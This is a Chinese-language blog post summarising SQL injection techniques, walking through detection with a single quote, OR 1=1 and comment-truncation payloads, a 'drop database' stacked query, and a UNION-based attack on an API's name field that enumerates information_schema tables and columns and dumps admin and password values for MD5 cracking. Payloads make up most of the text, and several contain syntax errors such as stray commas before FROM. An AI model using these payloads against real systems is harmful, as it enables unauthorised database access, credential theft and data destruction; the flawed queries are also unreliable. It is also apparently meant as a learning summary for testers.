首页 > 数据库 >SQL注入小结

SQL注入小结

时间:2022-12-15 14:34:17浏览次数:42  
标签:database xxx SQL table 注入 小结 select schema

一:判断SQL注入点 先判断这个网站是否存在SQL注入点 如果存在,判断属于哪种SQL注入类型,我们才能构造原始的SQL语句 可以输入'这个单引号,如果报错为you have an error in your SQL syntax; 说明存在SQL注入漏洞,因为这个单引号是前端输入传给服务端,后端没做特殊处理,认为前端输入什么你就得查 所有后端应该做特殊处理,例如过滤掉;' # -- 这些特殊字符   二:常见的SQL语句注入 xxx表示输入内容 xxx' UNION SELECT username,password FROM USERS-- xxx' or 1 =1; (1=1属于布尔注入类型,1=1输入永真条件) xxx' -- 后面不管传入什么数据都不起作用 xxx' # 后面不管传入什么数据都不起作用,可以获取隐藏数据 xxx' or 2=2 -- 这个可以把前面的where ppp=xxx替换成2=2,2=2本身就是成立的,--可以把后面附带的其他条件注释掉 xxx;drop database 库名 注意:这里有两条Sql,一般后端会做设置,不支持多条SQL语句的出现     三:实例注入 例如当前使用Postman请求一个post创建商户的接口 输入参数为name,可以在请求参数的name的value值输入XX union select 1,2,3,4,5,6,7,...# ...意思是一直试,试到它返回多少个字段,我们找到这些字段数,替换成我们的字段,uesrs,vision,database()等这些函数,把我们的库名,版本么,用户表拿出来, 于是输入与XX union select 1,user(),database(),4,version,6,7,...#   接下来我们可以得知batabase()数据库,接下来,我们来想方设法拿到users这张表 XX union select 1,user(),database(),4,version,6,7,from information_schema.tables where table_schema = database() limit 0,1# 根据limit 0,1 limit 1,1 limit 2,1 ...这样不断地尝试,直到返回参数出现user这个表名 但是这样费时费力,有没有更好的办法呢   我们可以结合select GROUP_CONCAT(内容) from XXX这语句 它可以搜索出每个字段名的组合,每个表名的组合 XX union select 1,user(),database(),4,GROUP_CONCAT(table_name),6,7,from information_schema.tables where table_schema = database() # 将得出各表名,注意:删除 limit 0,1   接下来我们拿user表的字段,table_name改为column_name,information_schema.tables改为information_schema.columns,table_schema = database()改为table_schema =‘users’# XX union select 1,user(),database(),4,GROUP_CONCAT(column_name),6,7,from information_schema.tables where table_schema = database() #   得到用户表里面的字段,接下来我们获取其中字段admin 和password的值 XX union select 1,GROUP_CONCAT(admin),GROUP_CONCAT(password),4,5,6,7,from users# 这样就可以获取 admin 和password的值,password一般是以加密的形式存在,所以我们可以使用MD5解密,当然还有使用AES256加密的,这种我们就无法破解了

标签:database,xxx,SQL,table,注入,小结,select,schema
From: https://www.cnblogs.com/xiaoshu1/p/16984965.html

相关文章